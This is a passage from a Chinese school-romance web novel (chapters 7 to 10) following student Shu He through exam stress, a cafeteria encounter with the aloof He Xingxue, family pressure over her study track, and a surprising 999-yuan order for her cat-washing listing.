想着只是擦个消毒水,校医便应下转身去照看其他人。
卫音肩膀不住地耸动,视线模糊地看着舒禾蹲到她面前,听到她轻声安慰说:“别担心,不会很疼的。”
然而她压抑着说不出话,只是双手扣着凳子边缘用力得发白发颤。膝盖上力道特别轻,像羽毛一般,她几乎感觉不到什么疼痛,但就是突然的,随着女生极轻的动作,却像有暴涨的洪水一瞬从
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心里涌出来,卫音胸口剧烈起伏了一下,仿佛心里的精神支柱崩塌瓦解,再也抑制不住地呜咽了出来。
“我、我……”她把脸埋在手心,哭得一抽一抽,舒禾顿时无措地停了手。
“昨晚考、考试,我考得很差。”卫音捂在手心的声音很闷,她断断续续抽泣着说:“我不知道为、什么,明明,明明我暑假一直在学习,可是,还是有好多、好多的题不会……”
“我不、不知道为什么这样,晚上熬了很久的夜,我想、想要多花时间……”
舒禾听见她极为明显地哽咽了一下,哭得声音都变了调,上前轻轻拍了拍她的背,安静听着没有说话。
卫音痛苦地呜咽着,像是想把所有情绪一股脑宣泄出来:“早上我没去食堂,直接去了、教室学习……副校长说得对,我、我就是什么都做不好,没有规划,没有条理,学习、没学好,身体、身体也没顾好,我现在还、还要麻烦你……”
她哭了很久,舒禾站在她前面,挡去了很多好奇投来的目光,一直安慰地抚着女生单薄的背。
不知道过了多久,卫音缓缓平复了情绪,抬起一双通红的眼,“对不起,耽误你……”
“没关系。”舒禾打断她,慢慢组织着措辞。
“其实,你能分到实验班,就已经特别厉害,领先绝大多数人了,比如我。”她笑了笑,故作轻松地说:“我还是插班进来的呢。”
卫音愣愣地听她说:“昨晚考完我也很崩溃,觉得自己很笨,和你们的差距巨大,就像……像隔了一道天堑,越都越不过去。”
“但是,”她笑笑抬起眼,“压力永远不会击垮我,只会让我更努力,努力超越你们所有人。”
舒禾浅浅弯起唇,对她玩笑道:“所以你也加油呀,小心别被我超越啦。”
卫音久久望着她明亮的眼睛,内心崩塌的残垣仿佛在这明亮中,一点点地重建。
她憋住眼泪,努力笑了笑:“好!”
待两人整顿好,时间已不早,医务室的人少了许多,开学典礼也差不多应该结束了。
舒禾便和卫音起身向校医道谢,而后相携着离开。
角落里,贺行雪本是坐在那里躲懒,闲着无聊有一搭没一搭地听,后来不知不觉听出了神……
明明挺励志的一番话,不知是不是受他不太健康的心理影响,总觉得女生话里有些深藏的难过。
不过这都和他没关系。
贺行雪懒懒地垂着视线,余光瞥见女生一晃而过的影子,完全没在他身旁有一点停顿。
自她进来医务室,一直到现在,好像全程都没有注意过他。
这个荷包蛋明明昨晚还又占他便宜又要微信的。
是现在人太多了?还是她真的在为考试而难过?
贺行雪看着两人背影走到门口,都不知道自己在想什么,心里麻麻的,像有蚂蚁啃咬,竟像昨晚那样,鬼使神差地喊住了她:“哎。”
他刚一出口就反应了过来,顿时想抽自己一巴掌,可是吐出去的音节收不回来,门口那个荷包蛋已经疑惑地望了过来。
贺行雪根本没想好要说什么,迎着女生越来越困惑的目光,刚刚歪倚着的身子不由坐直了,视线却移向了别处。
见他久不说话,舒禾侧头往左右看了看,挽着卫音迟疑道:“你刚才是在叫我们吗?”
贺行雪闻言,这才把视线放到两个女生身上,只两秒,复又收回去,看着门口金灿的阳光随口来了句:“外面天气不错啊。”
舒禾皱起眉头,还站在门口荫蔽处,都已经能感受到外面窒闷的热浪了,她不知道这算什么好天气,想了想,礼貌地回道:“那你可以去操场上享受一下阳光。”
那得晒死人。他喉咙一哽,别开视线,半晌没说话,等两人准备离开了,他心里煎熬着,又转过头去:“你……还好吧?”
“我?”舒禾莫名地看着他。
贺行雪含糊嗯了声。
舒禾没怎么听清,但想了想还是说:“挺好的。”
——挺好的。
他惯常用来敷衍人的话。
贺行雪冷恹恹地耷下眉眼,这次真的没再说话。
他坐在原地,眼角余光瞥着两人手挽手出去,又在门外遇到另一个女生,还有一位女老师,几人交谈了几句后,传来了几声笑闹,她们的身影在阳光下渐行渐远,直至消失不见。
贺行雪低头灌了口冰水。
心里突然有点不爽。
8. 第 8 章
开学典礼结束,早上还剩最后一门考试,考完后,便到了午饭时间,教室里众人一哄而散。
前往食堂路上,舒禾惆怅道:“晚上就出成绩了,好快。”
任姝宁苦着脸:“是啊,而且还要调座位,咱俩可能就不能挨在一块了……”
“唉。”
两人一同叹了口气,四目相对,又为这突然的默契乐起来。
附中食堂有一面巨大的落地窗,能看见窗外成廊的银杏树大道,春夏碧波掩映,秋时则是满目金黄的盛况,到了冬季,虽然落叶凋敝,却也有种别样的凄凉美感。
因此窗边座位极其抢手,曾经附中有学生为此大打出手,后来学校便制定了规则,每个班每名学生有固定座位,名字粘贴在椅子上,之后以班级为单位,每学期轮换一次位置,保证三年内大家都有机会坐到窗边,边吃边赏美景。
然后舒禾便极其凄惨地发现,九班好像没有粘贴她名字的座位。
可能是因为她昨天临时插班过来,后勤老师还没来得及安排她的座位。
舒禾端着餐盘呆住了,任姝宁也在一旁呆住了,她俩昨晚在教室里吃任姝宁她爹做的“美味佳肴”,根本没来食堂,也就直到现在才发现这件事。
饭点的食堂里一眼望去全是人,摩肩接踵,一个不注意就容易碰撞到打翻餐盘。
“啊,这么多座位怎么找啊……”任姝宁视线扫了一圈,说:“干脆咱俩挤挤一起坐吧。”
食堂座位间隙并不宽敞,而且椅子是焊死的没法移动,两个人坐不仅拥挤,可能还会影响到旁边的同学,舒禾便对她摇了摇头:“你先吃。”
她左右观察了一下,准备端着餐盘站到角落里随便应付两口。
“等等!”一道女声慌慌张张响起,打断她的动作,舒禾端着餐盘疑惑地回头看了一眼,是卫音。
卫音本在专心吃饭,心里一直记挂着早上的事,突然注意到她们,看明白原委后便立刻叫住了她。
“我差不多吃完了,你坐我位置吧!”她囫囵咽下嘴里的饭,说着就要端着餐盘起身。
舒禾看了眼她几乎没怎么动的饭菜,连忙软声拒绝:“不用不用,谢谢你呀。”
先前排队打饭时,她分明看见了卫音身影,只排在她们前面没几个位置,现在可能都没吃上几口。
但卫音似乎有些执意,端起餐盘给她让位置,舒禾苦恼又无措站在那里,正陷入两难时,倏然一道雄浑洪亮的声音冲破嘈杂,跨越了半个食堂传来——
“舒禾!没找到座位吗,你来我们这呗?”
程敬宇往后倚着靠背,伸直手臂向她这边招了招,他旁边还坐着一个男生,隔着人群的夹缝,只能看见他垂着的一个脑袋。
程敬宇这一喊,吸引了很多人的视线,特别是本班认识舒禾的人,都挺好奇地觑探过来。
收到诸多注视,舒禾脸颊有些发烫,很想装死把自己埋起来,可这毕竟是他人好意,她不能不搭理,但要让她像这样扯着嗓子隔空对话,可能这辈子都做不到。
但好在,总算有个可以拒绝卫音的理由,她笑了笑对女生说:“你慢慢吃,我去那边坐吧,谢谢你啦。”
卫音也有些好奇地望了望另一边,不过没有多问,只朝她腼腆笑了笑。
舒禾端着餐盘准备过去时,无意间瞟到任姝宁,女生此刻正以一个大失所望的眼神望着她,捂胸摇头,仿佛在看一个重色轻友的混蛋。
——程敬宇,那个帅哥的朋友,舒禾什么时候和他们认识的,居然没有告诉她!
到底是至交好友,一个眼神就能让舒禾明白意思,顿时心虚起来,也用眼神无声示意她:我晚点和你解释。
任姝宁轻轻哼了一声。
附中还挺公平,没有因为国际部的高昂学费,就给他们占据食堂的绝佳赏景位置。
舒禾从一个角落走到了另一个角落,程敬宇很热情地招呼道:“纸巾侠,坐这儿吧,我们班好几个八百年不来学校的,座位都要长蘑菇了。”
他指了指他斜前方的一个位置,舒禾点点头笑着应了声好,过去坐下的时候,一抬头,刚好对上对面那个人冷淡的目光。
舒禾扶着餐盘的手一僵,抿了抿唇,犹豫着要不要和他打个招呼之时,男生已经淡淡垂下眼皮,错开了视线。
她不由暗自松了口气。
果然,还是更习惯他这副懒得搭理人的样子,早上那个莫名的问候实在太奇怪了!
“纸巾侠,你和老秦一个班啊?”程敬宇说。
“嗯。”舒禾点头,又忍不住道:“你不是知道我名字了嘛,怎么还叫这个……奇怪的称呼。”
程敬宇嘿嘿了两声:“那叫名字显得多生疏啊。”
舒禾讷讷地笑了下。
贺行雪抬头,瞥他一眼:“难不成你们很熟?”
他说这话的时候依旧没给舒禾一个眼神,舒禾也就默默低头吃饭。
程敬宇两眼一瞪:“都坐一张桌上吃饭了还不熟吗?”
贺行雪啧了声,懒得再接话。
“诶,纸巾侠,和老秦一个班怎么样?他是不是跟个老古板似的,一天天就爱研究那个破题。”程敬宇想象了一下。
他们三人从小一起长大,互相怼起来没完没了。
“没有没有,”舒禾连忙否认,思索了一下,发自内心夸赞:“他成绩很好,人也很友善,还会安慰同学。”
虽然安慰的不是那么回事。
这句话她憋在心里没说。
程敬宇一听这夸奖来劲了:“唉哟,评价这么高呢,那我呢,我咋样啊?”
舒禾看看他,真诚道:“大方,热情。”
虽然同样是夸奖,但这字数差异也太明显了,程敬宇有点不服自己被比下去,想拉个人垫底,于是指了指旁边的人:“他呢?”
程敬宇心道,这少爷纯纯狗脾气,怕是没地儿夸了。
他呢。
舒禾回味着这两个字,一时竟没反应过来。
气氛顿默了一瞬。
接着,贺行雪没什么情绪地看了过来。
舒禾一下卡住了。
说实话,他们接触得不算多,他的性格又较为冷淡内敛,而且还对她忽冷忽热的,舒禾到现在都没摸清这个人究竟是什么样子,可这种话也不能当着人面说……
两道视线还缠在她身上,舒禾愣了半晌,本来下意识想说句“挺好的”,可是抬头的时候一对上男生那张毫无瑕疵的脸,她嘴就莫名一瓢,竟把心里话说了出来——
“很帅。”
反应过来的时候耳根顿时涨红了。
……
这样和表白有什么区别?
贺行雪略不自在地别过脸。
这个荷包蛋,说话怎么也不收着点。
他不可能会答应的。
程敬宇听完那句“很帅”,瞪着眼直愣了半晌,这才放声说了句“牛逼”。
“可以,那我无法反驳了。”
舒禾尴尬地抿出一个笑,随后把头埋得很低,安静吃饭。
贺行雪再转过眸子时,就只看见女孩子的耳尖,是蜜桃一样的粉红色。
看起来仿佛也是软糯糯的手感。
舒禾已经极度后悔来到这边,只想抓紧吃完离开,腮颊鼓起来,然而还没吃几口,身侧突然落下一道影子,连带着一阵柔和清新的香味。
“咦?新同学?”女生坐在她旁边,好奇问。
程敬宇笑嘻嘻地抢答了:“不是,和老秦一个班的,来吃个饭。”
舒禾抬起眼,只见女生化着淡妆,面若芙蓉,戴了手饰和Cartier耳钉,养护极好的头发黑瀑一般披散下来,虽然穿着校服,却也处处精致。
“你好,我叫秦安然,秦嘉文的姐姐。”秦安然在她旁边坐下,打了声招呼。
舒禾礼貌地放下筷子:“你好,我叫舒禾。”
秦安然点点头,想到自己被拖到这么晚才来吃饭,心里就一阵抱怨,开始忍不住对大家吐槽:“Ethan又给我作品集挑了好多刺,啊,我在办公室里听得是真崩溃。”
程敬宇:“你是咱班第一个雅思7分的人,年级的荣耀啊,Ethan能不严格么。”
他说完又想起什么,“哦”了一声:“阿雪不算。”
“还说他呢。”秦安然看向对面不说话的男生,假意生气道:“今早开学典礼都不来,我们在烈日下晒着,他在医务室躲清净,真不仗义。”
贺行雪扫她一眼,不冷不热地说:“也没拦着你不让来。”
话是这么说,可他是拿着医院检查单,有正当理由不参加的。
“我不管啊!诶,那个藕粉糖糕我来晚了没拿到,反正你也不吃,给我呗。”
三人语气十分熟稔,大概相识挺久了。舒禾没有插嘴,一直在埋头吃饭,偶尔抬眼的时候,无意瞥见对面的男生,竟是一粒米一粒米地在往嘴里喂,半天下来,米饭也只受了点轻伤。
她动作顿了顿,内心大受震撼,他是天下掉下来的什么神仙么?
或许是视线停留太久,连旁边的秦安然都注意到了,她循着看过去,了然调笑道:“舒禾你别管,他这人一直就这样,饿不死他。”
舒禾没想到直接被点出来,睫毛紧张地颤了颤,不知道该说什么,难为情地抿唇弯了弯。
贺行雪撩起眼皮和她对视了一秒,舒禾心里一突,心虚地错开视线。
偷看被抓包,她无比老实地低下头乖乖吃饭。
贺行雪没什么食欲,干脆搁了筷子,懒散看了看对面女生。
电光石火间,他好似捕捉到什么,侧眸睨向扔在一边的那袋藕粉糖糕。
刚才秦安然说让他给她,那个荷包蛋是不是,有点吃醋了。
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他越细想越匪夷所思。
本来倒是无所谓给不给秦安然,反正他也确实不吃,不过要真给了,荷包蛋应该会难过的吧。
贺行雪不经意掀眸,瞧了她一眼。
女孩正在埋头苦吃,那模样就和他家里那只见了冻干就走不动的猫一般,倒是看不出一点吃醋的征兆。
这个荷包蛋太会藏了。
秦安然还没得到答复,追问道:“给我行不?”
算了,谁让她才刚夸了自己很帅。
贺行雪觉得自己还是太善良了,怪不得从小到大受到那么多追捧,他慢吞吞接了句:“谁说的我不吃?”
秦安然不可置信:“你从小就不吃甜的!”
贺行雪:“现在喜欢了。”
秦安然气道:“啧,抠门精。”她懒得多争论此事,转而道:“哎,你明天真不来了?”
贺行雪嗯了声。
她无精打采地哦了下。
秦安然饭量很小,舒禾总觉得她没吃两口就说吃不下了,随后和朋友离开,又剩下舒禾面对这两个人。
她提了提速赶紧吃了两口,便也端起餐盘准备和二人道别。
起身的时候,她视线在贺行雪脸上一顿:“你……”
贺行雪却好像等待已久似的,直接将旁边那袋藕粉糖糕往她的方向一推:“拿去。”
舒禾一愣,把那句你脸上有根睫毛咽了回去:“你不吃吗?”
贺行雪:“不爱吃。”
舒禾怔了怔。
几分钟前,这个人说的话还不是这样的。
藕粉糖糕的莲藕来自学校后山的那大片荷花池,从取藕到制藕粉最后做成糖糕,全程由食堂老师傅手工制作,由于数量不足,每学年只会限量给学生发放一次,算是附中一大特色。
像这次舒禾考试来晚了,就没有拿到。
但她去年尝过一次,味道特别好吃,清甜不腻,唇齿留香,令人无限回味。
舒禾想不明白短短几分钟他怎么两幅面孔,都说女人心海底针,她觉得这个男生不遑多让,一颗心都快飘忽到外太空了。
不过见他神色不似作伪,舒禾踌躇了会儿,还是收下了,向他真诚道:“谢谢。”
正好,待会儿可以拿来贿赂任姝宁。
“谢谁?”贺行雪懒懒说了句。
“……”
舒禾沉默了。
她好像,还真不记得他名字,单单知道他姓贺。
她呆愣着一时间没说话,这桌的气氛顿时安静下来,贺行雪看着她的眼神从一开始的散漫,渐渐转到奇怪,再到不可置信,最后迸发出一丝黑沉沉的恼意。
舒禾无比尴尬地站着,早知道有这一出,她就不要了,果真是拿人手短啊呜呜呜。
她眼睁睁觑着男生脸色越来越黑,越来越黑……她内心正忐忑,却见男生霎时站了起来!
比她高了好多的人——
舒禾吓得倒退了一步,以为他要打她,脸都白了。
贺行雪见她动作,冷冷笑了一声,脸色愈发难看,语气平直地问:“识字不?”
舒禾不解其意,呆呆地点头。
随后见男生微微侧过身,指着他椅子上的名字:“给我念念?”
舒禾看过去,上面赫然印着男生名字。
“……贺、行、雪。”
她小声地一字一字念。
念完,没声了。
不知道是不是因为她带了点颤抖的尾音,听起来仿佛多了种婉转旖旎的味道,贺行雪十几年的时光从未知道,自己的名字竟还能被人念得这么好听。
他凝着她脑后乖巧扎好的小啾,只觉胸口像被这发丝软软拂过似的,一股无端的痒意自心底而生,逐渐蔓延到四肢百骸,令人浑身难受又无从找寻。
身体也随之滞了滞,原本满心的恼怒就像被刺破的气球,三两下消散得干干净净。
他极为生硬地“嗯”了声,略僵直地坐下。
他瞥见女孩苍白的脸,不禁开始怀疑自己刚才语气是不是太过了。
女孩极为不自在地站在那里。
贺行雪收回视线,硬邦邦地说:“走吧。”
这两个字被他说得仿佛古代皇帝大赦天下一般的气势。
“哦,好,再见。”舒禾苦不堪言,面上依旧客气地同两人告别,拿着那袋子糖糕,迫不及待去找任姝宁了。
贺行雪盯着桌面发了会儿呆,不知道在想什么。
被两人忽视已久的程敬宇幽幽道:“请问贺大少爷,桌上是有什么脏东西吗?”
贺行雪抬眼朝他看了过来。
程敬宇想起他刚才的双标行为,嘿嘿笑了两声,立马在嘴边做了个拉拉链的表情:“放心放心,其实吧我就是电车里一个冷漠的乘客,刚才什么都没看到。”
贺行雪嫌弃地骂了句:“神经。”
9. 第 9 章
“……事情就是这样。”
舒禾同好友解释完全程,又拿出那袋子藕粉糖糕讨饶道:“阿宁,我为了拿这袋子糖糕,被他吓了好大一跳呢。”
任姝宁这才傲娇道:“那行吧,勉强原谅你,以后可不能有事瞒着我。”
舒禾仓鼠吃食似的点脑袋:“嗯嗯!”
两人一同分吃完了糖糕,任姝宁舔舔唇,意犹未尽道:“下次吃就得等明年了……也不知道明年还能不能吃到。”
毕竟产量有限,每年的份额都很少。
今晚轮到数学老师刘应平守晚自习,铃声响后,一个后脑勺秃亮的大肚腩老师进来,脸色不愉地抱着试卷大步迈上讲台,哄闹的班级里顿时安静下来。
“想必你们心里各自有数,”他嗓音沉沉道,“这次考试,你们都考得特别差,完全刷新了我任职以来的下限!特别是有些人的卷子,简直做得惨目忍睹!”
略带怒气的嗓音,直接给了大家一个下马威,霎时间班上人人噤声。
舒禾脸色白了白,总觉得老师这番话里在特指自己,不由咬着唇深深埋下了头。
课代表收到指示起身分发试卷。这期间,刘应平开始以隔壁班为例,细数平行班的高分试卷,他视线威严地扫过台下学生,压迫感极强,所过之处大家都惴惴低下了头。
但幸亏老师没有把名字点出来,舒禾拿到自己数学试卷的时候,看见上面那个刺目的“88”分,心里重重地咯噔了一下。
她数学虽然不好,却也从没考到过这么低的分数,竟然还没及格。
是因为这次的题太超纲了吗……
而刘应平下一句话打破了她最后的侥幸:“当然,咱班也有极个别同学成绩不错,秦嘉文,数学148,年级第一。”
这个分数甚至能超越理科实验班的那些人。
班里顿时响起了各种“牛逼”和“卧槽”声,被点到的秦嘉文只是礼貌笑了笑。
晚自习不让讲课,刘应平把门虚掩着,用不大的声音开始评讲试卷。
舒禾努力定了定神,让自己从那种惊惶中走出来,认真听老师讲的内容,可是到了后半部分还是学得有些吃力,后背冒出的冷汗都浸湿了衣衫。
时间一分一秒过去,讲完试卷后,舒禾还沉浸在那些算式里,便要开始调座位了。
她被安排到了门边的第一排第一列,神奇的是,同桌居然是秦嘉文。
“真巧啊。”秦嘉文坐下,朝她微笑道。
舒禾也勉强笑了笑,突然想起来:“对了,那个水杯,周末发手机的时候我把钱转给你吧。”
她又对他解释了一遍原因。
“别,阿雪最后都没收我的钱。”
秦嘉文摇摇头,无奈拒绝着。
当时,他趁着收手机前最后一点时间,在微信上几番恳求,那位大少爷才终于勉强松了口,他立马转了钱过去,却很快被退款回来。
他皱眉想再转的时候,贺行雪一句话打消了他的固执:“再转我不去了。”
秦嘉文没办法,只得作罢,大不了之后再请客让大家聚在一起吃个饭。
舒禾闻言讷讷说了句好吧,也不好再固执,琢磨着之后找机会回馈一个差不多的礼物,便吃力地继续研究那一堆错题。
第二节晚自习结束后,她抬头望望大家还在奋笔疾书的身影,眼神黯淡了些许。这里每个人的成绩都比她好,却也每个人都比她还要努力……
舒禾特别想留下来继续上完第三节,但是想到家里那段黑漆漆的路,心里又总有不安,思来想去,还是准备把数学练习册带回家写。
起身时,刘应平叫住了她,让她先跟他到教室外面去。
班里几道视线闻声看了过来,舒禾被点名时吓了一跳,忐忑地跟了出去。
今天刚讲完试卷,数学老师找她做什么,难道要训她一顿?该不会要劝她回到平行班吧……
毕竟她这个分数真的低出了实验班的新境界。
舒禾失魂落魄地在路上胡思乱想着,差点被门槛绊一跤。
幸而老师开口时语气还算温和。
“开学之前,你们班主任一力向何主任担保,说你是个特别有潜力的苗子,要把你安排到实验班。”刘应平看着这个垂头丧气的女生,说完,拧开保温杯喝了口。
这话始料未及,舒禾想到自己糟糕的分数,鼻尖一酸,努力憋回去,盯着脚尖的视线渐渐模糊。
周老师是真的对她很好,可是,她好像没有达到老师对她的期望……
“我看了你其他科目的分数,语文和文综的确特别好,但是,数学这次虽说有超纲的部分,你依旧还有很大的进步空间。”刘应平抬手摸了把他稀松的头发,“所以我和周老师商议了一下,让你和秦嘉文同桌,他几乎不偏科,只是语文相较之下稍弱,你们俩正好可以多相互请教。”
“这一两年你加把劲,把数学和英语提一提,年级前十肯定不是问题!”他沉着嗓音给她打劲。
感受到老师的安慰,舒禾憋着眼泪,点点头:“好,我会努力不辜负老师们的期待。”
“去吧,回家注意安全。”
“谢谢刘老师,再见。”
舒禾掏出钥匙,拧开门锁,客厅里还亮着灯。
舒远山在沙发上看新闻重播,陈燕梅正在卫生间里,把手里两块钱一张的面膜往脸上一贴,探了个头出去。
“回来啦?”
舒禾低着头换鞋,闻声捏紧了书包带子:“嗯……”
陈燕梅一听她这语气就知道不对:“怎么了?考试没考好?”
舒禾闷闷点头。
“哎哟,那有啥的。”陈燕梅干脆走过去把她揽到沙发上一坐,“这才哪到哪啊?高二刚开学呢,我女儿这么聪明的人,还愁考不上大学?”
陈燕梅见她还是瘪着嘴,眼里包着泪,立马心疼地抱过她,摸摸她的
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头发,半真半假开玩笑:“咱就算真考不上大学,家里不还有个小破理发店给你继承嘛,总归是饿不死的。”
舒远山在一旁附和:“对啊,别给自己那么大压力。”
说是这样说,其实陈燕梅对舒禾很有信心,大概是初中家长会时老师的夸耀太多了吧,她甚至有种理所当然的心理——她的女儿不仅能考上大学,而且一定能考上省内最好的蓉大!
这事儿说出去多有面子啊!陈燕梅美滋滋想象了下牌桌上大家惊艳的目光,想象完了,继续拍着她的背安慰道:“学习急不得,咱脚踏实地一步步慢慢来,今晚要好好休息,明天还得去学校呢。”
舒禾埋头在妈妈怀里蹭了蹭,忍着酸楚长长地“嗯”了一声。
她一方面难过这次的成绩,一方面又对于瞒着爸妈选了文科这件事深感愧疚。妈妈选的路她不愿走,自己选的路又走不好,好像做什么都一事无成,她怎么这么没用啊……趁着这个怀抱,舒禾埋着脸小声呜咽,哭得背脊一抽一抽的。
一直到晚上睡觉时,眼睛还是红肿的,她躺在床上,失神地望着白茫茫的天花板。
黑暗中,焦虑,忐忑,惶惑,各种情绪如附骨之蛆不断蚕食着心神,舒禾手指一点点蜷了起来。
去年中考失利,差十几分才够到重高线。偏偏妈妈又对她寄予厚望。
那个暑假焦头烂额,四处奔走说尽好话,最后绕了一大圈托关系进的蓉大附中。
至今她还记得陈燕梅痛心疾首的模样,一边数钱一边对她耳提面命:“附中教学资源好,你进去之后必须给我好好学,不要浪费我花的那么多钱。等高二分班了就选理科,千万别学你爸那个鬼样子!”
陈燕梅想到这个人就忍不住冷笑:“整天搁店里吟诗作赋的,干啥啥不行,要钱钱没有!过了大半辈子我也算终于看明白了,学理才有前途,你就听妈妈的,妈妈是世界上最不会害你的人。”
“你以后要是考上蓉大了,那我这些年的付出就算是没有白费……哦,还有你柜子里那些破小说漫画早点扔掉,少看些没营养的东西!”
“还发呆,听见没有!”
陈女士腾出手重重敲在她脑门上。
舒禾吸吸鼻子。
她一直是个循规蹈矩的人,是爸妈心中永远不会忤逆的乖孩子。
若没有杂志社那个意外,她兴许就会走上妈妈安排的道路。
即便现在她拼尽所有勇气,瞒着爸妈走上一条岔路,可也依然是个定时炸弹,谁知道能瞒多久呢?
陈女士随时可能察觉,然后脾气爆发把她骂得狗血淋头,再强行把一切扭回正轨。
在她达不到一个足够好的成绩之前,似乎没什么选择的权利。
正轨通往的未来是什么样的?
她想要的未来又是什么样的……
舒禾难受地把脸埋进被窝里。
窗外落雨打在雨棚上,滴答、滴答……
10. 第 10 章
舒禾昨晚失眠了,进教室的时候,险些没听到任姝宁唤她的声音。
座位调整之后,任姝宁换到了最后一排,同桌依旧是个女孩子,叫赵方仪,两人本来在激烈讨论昨天的试卷,任姝宁说得口干舌燥,仰头喝水时瞥见门口进来的身影。
“舒禾!我叫你你怎么不搭理我!”
她有点生气,嗓门提高些许,这一下就把舒禾叫回神了,她顿时停住回座位的脚步,努力调整了下心态,然后倒退着走到任姝宁座位面前,哭丧着脸说:“我刚想事情没听见,怎么啦阿宁。”
“我刚问你知不知道贺帅哥脱产的事情,今早论坛上都传开啦,我想着你不是和他们认识么。”任姝宁狐疑地看看她:“不过你怎么心不在焉的?遇到什么事了吗?”
这些天贺行雪俨然成了校论坛的风云人物,一举一动备受瞩目,突然脱产离校让好些蠢蠢欲动的心咔擦碎掉了。
这些心碎成好几瓣的人里面也包括了任姝宁,自从得知那个冷淡帅哥不来学校之后,她每分每秒都在心痛后悔,那天近距离偶遇的时候,怎么就没多看几眼。
附中严令要求学生上交手机,舒禾知道她还有备用机,不过以这个论坛传播的速度来看,类似这样的“地下特务”还不少。
但她对论坛并不是很关注,摇摇头:“没有,我和他们不熟。”犹豫了会儿,含糊其辞回答后一个问题:“昨晚没睡好,早上还在犯迷糊。”
“哦。”任姝宁有点近视,闻言眯起眼睛去看教室前面的时钟:“还有十五分钟上课,你还能趁机补一下觉。”
舒禾点点头,回到第一排,看见秦嘉文已经在座位上专注地写课外习题了,心里不禁泛起一阵惭愧,人家年级第一都这么努力,她却还在这里犯困。
第一节语文课,周兰芝将她的考试作文作为范文展示,贴在班级门口供大家参考学习。于是下课后,坐在门边的舒禾就被来来往往的同学一人一句夸赞淹没了。
“卧槽牛逼啊,这样的论据怎么想出来的,太贴题了!”
秦嘉文也去看了,回来感叹道:“写得真好!”
舒禾不太好意思地笑笑,趁此机会虚心请教:“我数学英语太差了,你有什么好的学习方法吗?”
秦嘉文想了想说:“你把你这两科卷子给我看一下。”
舒禾递给他。
他接过,仔细阅览一遍,思索了片刻:“你数学基础不怎么牢固,有几道错题都是课本上的变种,你可以试着在平时作业后,准备一个错题集多总结一下,会发现很多地方都有共通之处。”
“你英语的话其实还好,只是可能对语法句式熟练度还不够,想冲刺高分的话,唔……我一般除了老师要求的,还会另外买题册大量练习。”
他的成绩除了天赋之外,也是夜以继日换来的。
迷茫褪去后,舒禾眼神亮了起来,瞬间充满动力:“我知道了,谢谢你!”
“不客气。”秦嘉文笑了笑,继而犹豫着说:“如果你需要的话,我们可以周末找家书店一起学习。”
舒禾微怔,这样不行,也太耽误他的时间了。
正无措不知道如何回绝的时候,他补充道:“我语文积累不够,你正好可以监督我,而且作文上的问题你也能帮我看看,到时候你在数学英语上遇到困难也能直接问我。”
相互学习,这也是昨晚刘老师的意思。
舒禾明白了,应下来:“好,那之后要多麻烦你了。”
秦嘉文笑:“哪里,我也得麻烦你。”
中午吃饭的时候,她还在脑海里细细规划着后面的学习。
既然数学基础不行,那就在课本知识上多下功夫,多反思总结。英语题量不够,课余时可以买点题册多做练习,不过……
一本题册好像还挺贵的。
由于走读,基本没有需要花销的地方,陈燕梅很少给她零花钱,舒禾现在手里攒下的统共还不到一百,而且还有那个杯子,她还想找机会把钱还给贺行雪。
这样一算,貌似钱还不太够用。
虽然只要开口,像这种有关学习的事,陈燕梅肯定会给她补贴,但是不知是出于自尊心,还是欺瞒父母过后的愧疚心理,舒禾隐隐抗拒这个想法。
反正时间还长,她可以先把数学提升上去,其他的延后再视情况想对策。
如此想着连同嘴里的饭菜都变得可口起来。
周末一晃眼就到了。
附中学生是周六下午放学,周天下午返校,有一天的休息时间。
周六晚上,她正同秦嘉文商议明天学习的书店地址,对方发来了一条定位和一段文字。
-秦:我听程敬宇说,你之前是在阿雪外公的书店里学习,要不就继续在那儿吧?正好也很安静。
-秦:我可以和外公说让他帮忙准备桌椅。
秦嘉文也是和贺行雪家里极为熟稔的。
舒禾迟疑地顿了顿,忧心这样会不会太过麻烦老人了,犹豫之时,对面又道:
-秦:阿雪不爱出门,他外公常常独自待在书店,偶尔也会想要有人过去热闹一下。或者你有其他想去的书店吗?
-禾:没有,就这里吧,离学校也近。
舒禾应下来,和他约好明早九点见,下午五点再一同返校。
翌日早晨,空气清新,舒禾早早起来换衣洗漱,再将书本收拾好,准备就绪时才至八点,但书店要九点才开门,于是她又掏出数学题。
刚一翻开,手机忽然嗡嗡震动了两秒,她以为是秦嘉文,点开才发现,弹出的竟是一条黄色app的消息——
[买家已拍下,待付款。]
闲鱼消息栏里静静躺着这条信息。
拍下什么?
她似乎什么东西也没卖呀……
舒禾被这消息搞得有点懵,大脑尚未反应过来,手指已经下意识点了进去。
在卡顿的开屏页面一通等待后,里面的未读消息从“1”弹成了“2”。
[买家已付款,等待您发货。]
显示的赫然是那条被她改为999元防拍价的上门洗猫链接。
舒禾:???
她不可置信地盯着屏幕,脑袋里充斥着混乱的问号,抬眼看了看价格——不是9元,不是99元,确实是999元啊!
舒禾迷惑地瞪着眼睛。
上次寒假她洗过最贵的一只,重达二十多斤、毛超级长的缅因也才两百啊!
谁会花999元让人上门洗猫啊?!
那洗的得是被武松打的品种吧……
确认自己没有眼瞎,那瞎的肯定另有其人。
舒禾放心了,琢磨了一会儿,觉得这恰好就是瞌睡来了递枕头。
通常来说,这种异常支出不超过两分钟就会被人发现,然后来找她退款。
这样就能顺势询问买家,需不需要改价重新下单,毕竟她正好需要这样的赚钱机会——时间短、按次结算、收入可观,又恰好赶上周末,她有时间。
虽然有点累,会损耗几小时的学习时间,但是利用这几小时就可以换好几本英语习题,还能把水杯钱还回去,不必向父母讨要,似乎也挺不错?
不过若是这样,今早就得爽约了。
舒禾心里做着打算,一边写题一边等待买家消息。
然而这次好像有点不同寻常……
写完一整页数学题后,舒禾点开手机,还没收到消息,不由皱了皱眉。消息界面还停留在等待发货上,那位买家付完款,就仿佛融进水里一般消失无踪。
她不由自主点进买家主页,名字还是个原始乱码,名称下面显示26
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分钟前来过。
是付完钱就去忙了吗?不能是个小孩拿父母手机的恶作剧吧……舒禾呆呆地拿着手机,没想明白,怎么会有人如此随意,下单连价格都不看。
视线往下一扫,看见买家简洁的页面上有一条商品信息。
封面是一张房间照片,灰白色调,整洁宽敞,装修得很有质感,一看就知道价格不菲,但是标价却是十分醒目的一个“1.00”。
不知是为了引流还是纯粹犯懒。
舒禾对这个神秘的买家萌生好奇,点进链接看了看。
内容十分简短,完全符合他钱多话少的特征:伦敦转租,1200p/w,包bills。
1200磅一周!
舒禾看了半晌才看明白意思,不可置信地睁大双眼,颇为震惊地在心里换算了一下。
算清楚后,是一段长长的沉默。
她好像知道他为什么下单不看价格了。
舒禾深吸一口气。
